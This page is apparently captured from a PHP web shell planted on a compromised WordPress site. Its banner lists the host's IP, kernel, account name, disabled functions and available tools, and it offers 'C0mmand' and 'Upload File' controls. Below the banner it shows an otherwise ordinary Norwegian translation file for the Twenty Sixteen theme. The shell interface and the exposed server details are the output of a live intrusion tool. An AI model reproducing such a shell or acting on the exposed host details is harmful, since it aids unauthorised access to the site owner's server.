|
Server IP : 10.131.40.8 / Your IP : 216.73.216.37 Web Server : Apache System : Linux webd008.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : ludmqhh ( 137773) PHP Version : 8.4.10 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ludmqhh/www/guillaume/wp-content/languages/themes/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
# Translation of Themes - Twenty Sixteen in Norwegian (Bokmål) # This file is distributed under the same license as the Themes - Twenty Sixteen package. msgid "" msgstr "" "PO-Revision-Date: 2022-01-26 01:12:13+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/4.0.0-alpha.3\n" "Language: nb_NO\n" "Project-Id-Version: Themes - Twenty Sixteen\n" #. Description of the theme #, gp-priority: high msgid "Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead with an optional right sidebar that works perfectly for blogs and websites. It has custom color options with beautiful default color schemes, a harmonious fluid grid using a mobile-first approach, and impeccable polish in every detail. Twenty Sixteen will make your WordPress look beautiful everywhere." msgstr "Twenty Sixteen er en moderne utgave av en evig populær WordPress layout — det horisontale toppbanneret med en valgfri høyre sidekolonne som fungerer perfekt for blogger og nettsteder. Det har vakre standard fargevalg med valg for egendefinerte farger, et harmonisk og fleksibelt rammeverk med mobil-først tilnærming, og er upåklagelig finpusset til minste detalj. Twenty Sixteen lar din WordPress se vakker ut over alt." #. Theme Name of the theme #: inc/block-patterns.php:17 inc/block-patterns.php:57 #, gp-priority: high msgid "Twenty Sixteen" msgstr "Twenty Sixteen" #: inc/block-patterns.php:140 msgid "Pre-Order Now" msgstr "Forhåndsbestill nå" #: inc/block-patterns.php:133 msgid "My new book “Twenty Sixteen” is available for pre-order." msgstr "Min nye bok \"Twenty Sixteen\" er tilgjengelig for forhåndsbestilling." #: inc/block-patterns.php:122 msgid "Call to Action" msgstr "Handlingsdriver" #: inc/block-patterns.php:102 msgid "— Takashi Irie" msgstr "— Takashi Irie" #: inc/block-patterns.php:98 msgid "Twenty Sixteen will make your WordPress look beautiful everywhere." msgstr "Twenty Sixteen vil sørge for at din WordPress ser nydelig ut overalt." #: inc/block-patterns.php:87 msgid "Large Blockquote" msgstr "Stort blokksitat" #: inc/block-patterns.php:73 msgid "The theme features a harmonious fluid grid using a mobile-first approach. The layout is a modern take on the horizontal masthead with an optional right sidebar." msgstr "Temaet har et harmonisk flytende rutenett som først er lagt med tanke på mobil. Oppsettet er en moderne utgave av horisontalt banner med en valgfri høyre sidekolonne." #: inc/block-patterns.php:67 msgid "Twenty Sixteen will make your WordPress website look beautiful everywhere. Take advantage of its custom color options and beautiful default color schemes." msgstr "Twenty Sixteen vil sørge for at din WordPress ser nydelig ut overalt. Dra nytte av dets alternativer for tilpasset farge og nydelig standard fargeoppsett." #: inc/block-patterns.php:50 msgid "Big Title with Two Columns Text" msgstr "Stor tittel med to kolonner tekst" #: inc/block-patterns.php:38 msgid "Twenty Sixteen will make your WordPress website look beautiful everywhere. Take advantage of custom color options, beautiful default color schemes, a harmonious fluid grid using a mobile-first approach, and impeccable polish in every detail." msgstr "Twenty Sixteen vil sørge for at din WordPress ser nydelig ut overalt. Dra nytte av alternativene for tilpasset farge og nydelig standard fargeoppsett, et harmonisk flytende rutenett primært laget med tanke på mobil, og sin upåklagelige glans i alle detaljer." #: inc/block-patterns.php:35 msgid "Twenty Sixteen is a modern take on the horizontal masthead with an optional right sidebar. It works perfectly for WordPress websites and blogs." msgstr "Twenty Sixteen er en moderne utgave av horisontalt banner med en valgfri høre sidekolonne. Det virker perfekt for WordPress-nettsteder og -blogger." #: inc/block-patterns.php:28 msgid "Large heading with short description" msgstr "Stor overskrift med kort beskrivelse" #: functions.php:205 msgid "Bright Red" msgstr "Lyselrød" #: functions.php:200 msgid "Dark Red" msgstr "Mørkerød" #: functions.php:195 msgid "Medium Brown" msgstr "Mellombrun" #: functions.php:190 msgid "Dark Brown" msgstr "Mørkebrun" #: functions.php:185 msgid "Light Blue" msgstr "Lyseblå" #: functions.php:180 msgid "Bright Blue" msgstr "Lyseblå" #: functions.php:175 msgid "Blue Gray" msgstr "Blågrå" #: functions.php:170 msgid "White" msgstr "Hvit" #: functions.php:165 msgid "Light Gray" msgstr "Lysegrå" #: functions.php:160 msgid "Medium Gray" msgstr "Mellomgrå" #: functions.php:155 msgid "Dark Gray" msgstr "Mørk grå" #. translators: %s: Post title. Only visible to screen readers. #: inc/template-tags.php:195 template-parts/content.php:29 msgid "Continue reading<span class=\"screen-reader-text\"> \"%s\"</span>" msgstr "Fortsett å lese<span class=\"screen-reader-text\"> «%s»</span>" #. translators: %s: Post title. Only visible to screen readers. #: image.php:88 template-parts/content-page.php:39 #: template-parts/content-search.php:28 template-parts/content-search.php:43 #: template-parts/content-single.php:47 template-parts/content.php:53 msgid "Edit<span class=\"screen-reader-text\"> \"%s\"</span>" msgstr "Rediger<span class=\"screen-reader-text\"> «%s»</span>" #: inc/customizer.php:347 msgid "Red" msgstr "Rød" #. translators: %s: Post title. #: comments.php:31 msgctxt "comments title" msgid "One thought on “%s”" msgstr "En kommentar til «%s»" #: searchform.php:16 msgctxt "submit button" msgid "Search" msgstr "Søk" #: searchform.php:14 msgctxt "placeholder" msgid "Search …" msgstr "Søk …" #: searchform.php:13 msgctxt "label" msgid "Search for:" msgstr "Søk etter:" #: footer.php:30 msgid "Footer Social Links Menu" msgstr "Sosiale medier-meny i bunntekst" #: footer.php:17 msgid "Footer Primary Menu" msgstr "Hovedmeny i bunntekst" #: functions.php:273 msgid "Add widgets here to appear in your sidebar." msgstr "Widgeter som legges til her vises i din sidekolonne." #: template-parts/content.php:14 msgid "Featured" msgstr "Fremhevet" #: template-parts/content-none.php:33 msgid "It seems we can’t find what you’re looking for. Perhaps searching can help." msgstr "Det ser ikke ut til at vi kan finne det du leter etter. Kanskje et søk kan hjelpe." #: template-parts/content-none.php:28 msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords." msgstr "Beklager, men det var ikke noe som passet til ditt søk. Vennligst prøv igjen med andre søkeord." #. translators: %s: Post editor URL. #: template-parts/content-none.php:22 msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>." msgstr "Klar for å publisere ditt første innlegg? <a href=\"%1$s\">Begynn her</a>." #: template-parts/content-none.php:13 msgid "Nothing Found" msgstr "Intet funnet" #. translators: %s: The post author display name. #: template-parts/biography.php:35 msgid "View all posts by %s" msgstr "Vis alle innlegg av %s" #: template-parts/biography.php:28 msgid "Author:" msgstr "Forfatter:" #: single.php:42 msgid "Previous post:" msgstr "Forrige innlegg:" #: single.php:41 msgid "Previous" msgstr "Tidligere" #: single.php:39 msgid "Next post:" msgstr "Neste innlegg:" #: single.php:38 msgid "Next" msgstr "Neste" #. translators: %s: The search query. #: search.php:21 msgid "Search Results for: %s" msgstr "Søkeresultater for: %s" #: inc/template-tags.php:113 msgctxt "Used before tag names." msgid "Tags" msgstr "Stikkord" #: inc/template-tags.php:104 msgctxt "Used before category names." msgid "Categories" msgstr "Kategorier" #: inc/template-tags.php:100 inc/template-tags.php:109 msgctxt "Used between list items, there is a space after the comma." msgid ", " msgstr ", " #: inc/template-tags.php:84 msgctxt "Used before publish date." msgid "Posted on" msgstr "Publisert" #. translators: %s: Post title. Only visible to screen readers. #: inc/template-tags.php:53 msgid "Leave a comment<span class=\"screen-reader-text\"> on %s</span>" msgstr "Legg igjen en kommentar<span class=\"screen-reader-text\"> til %s</span>" #: inc/template-tags.php:40 msgctxt "Used before post format." msgid "Format" msgstr "Format" #: inc/template-tags.php:26 msgctxt "Used before post author name." msgid "Author" msgstr "Forfatter" #: functions.php:210 inc/customizer.php:357 msgid "Yellow" msgstr "Gul" #: inc/customizer.php:337 msgid "Gray" msgstr "Grå" #: inc/customizer.php:327 msgid "Dark" msgstr "Mørk" #: inc/customizer.php:317 msgid "Default" msgstr "Standard" #: inc/customizer.php:242 msgid "Secondary Text Color" msgstr "Sekundær tekstfarge" #: inc/customizer.php:221 msgid "Main Text Color" msgstr "Primær tekstfarge" #: inc/customizer.php:200 msgid "Link Color" msgstr "Lenkefarge" #: inc/customizer.php:176 msgid "Page Background Color" msgstr "Bakgrunnsfarge for side" #: inc/customizer.php:153 msgid "Base Color Scheme" msgstr "Grunnpalett" #. translators: %s: The current WordPress version. #: inc/back-compat.php:45 inc/back-compat.php:62 inc/back-compat.php:85 msgid "Twenty Sixteen requires at least WordPress version 4.4. You are running version %s. Please upgrade and try again." msgstr "Twenty Sixteen krever minimum WordPress versjon 4.4. Du bruker versjon %s. Vennligst oppgrader og forsøk igjen." #: image.php:107 single.php:31 msgctxt "Parent post link" msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%title</span>" msgstr "<span class=\"meta-nav\">Hører til</span><span class=\"post-title\">%title</span>" #: image.php:77 msgctxt "Used before full size attachment link." msgid "Full size" msgstr "Full størrelse" #: image.php:58 template-parts/content-page.php:24 #: template-parts/content-single.php:26 template-parts/content.php:36 msgid "Pages:" msgstr "Sider:" #: image.php:26 msgid "Next Image" msgstr "Neste bilde" #: image.php:25 msgid "Previous Image" msgstr "Forrige bilde" #: header.php:50 msgid "Menu" msgstr "Meny" #: header.php:28 msgid "Skip to content" msgstr "Gå til innhold" #: functions.php:424 msgid "collapse child menu" msgstr "Slå sammen undermeny" #: functions.php:423 msgid "expand child menu" msgstr "Utvid undermeny" #. translators: If there are characters in your language that are not supported #. by Inconsolata, translate this to 'off'. Do not translate into your own #. language. #: functions.php:342 msgctxt "Inconsolata font: on or off" msgid "on" msgstr "on" #. translators: If there are characters in your language that are not supported #. by Montserrat, translate this to 'off'. Do not translate into your own #. language. #: functions.php:334 msgctxt "Montserrat font: on or off" msgid "on" msgstr "on" #. translators: If there are characters in your language that are not supported #. by Merriweather, translate this to 'off'. Do not translate into your own #. language. #: functions.php:326 msgctxt "Merriweather font: on or off" msgid "on" msgstr "on" #: functions.php:295 msgid "Content Bottom 2" msgstr "Under innhold 2" #: functions.php:285 functions.php:297 msgid "Appears at the bottom of the content on posts and pages." msgstr "Vises under innholdet til innlegg og sider." #: functions.php:283 msgid "Content Bottom 1" msgstr "Under innhold 1" #: functions.php:271 msgid "Sidebar" msgstr "Sidekolonnen" #: functions.php:93 header.php:67 msgid "Social Links Menu" msgstr "Sosiale medier-meny" #: functions.php:92 header.php:54 msgid "Primary Menu" msgstr "Hovedmeny" #. translators: %s: WordPress #: footer.php:63 msgid "Proudly powered by %s" msgstr "Drevet av %s" #: comments.php:71 msgid "Comments are closed." msgstr "Det er stengt for kommentarer." #. translators: 1: Number of comments, 2: Post title. #: comments.php:35 msgctxt "comments title" msgid "%1$s thought on “%2$s”" msgid_plural "%1$s thoughts on “%2$s”" msgstr[0] "%1$s kommentar til «%2$s»" msgstr[1] "%1$s kommentarer til «%2$s»" #: archive.php:54 image.php:62 index.php:51 search.php:46 #: template-parts/content-page.php:28 template-parts/content-single.php:30 #: template-parts/content.php:40 msgid "Page" msgstr "Side" #: archive.php:53 index.php:50 search.php:45 msgid "Next page" msgstr "Neste side" #: archive.php:52 index.php:49 search.php:44 msgid "Previous page" msgstr "Forrige side" #: 404.php:21 msgid "It looks like nothing was found at this location. Maybe try a search?" msgstr "Det ser ikke ut til at noe ble funnet på denne adressen. Kanskje du kan prøve et søk?" #: 404.php:17 msgid "Oops! That page can’t be found." msgstr "Oops! Denne siden ble ikke funnet" #. Author of the theme #, gp-priority: low msgid "the WordPress team" msgstr "WordPress-gjengen" #. Theme URI of the theme #, gp-priority: low msgid "https://wordpress.org/themes/twentysixteen/" msgstr "https://wordpress.org/themes/twentysixteen/" #. Author URI of the theme #: footer.php:60 #, gp-priority: low msgid "https://wordpress.org/" msgstr "https://wordpress.org/"
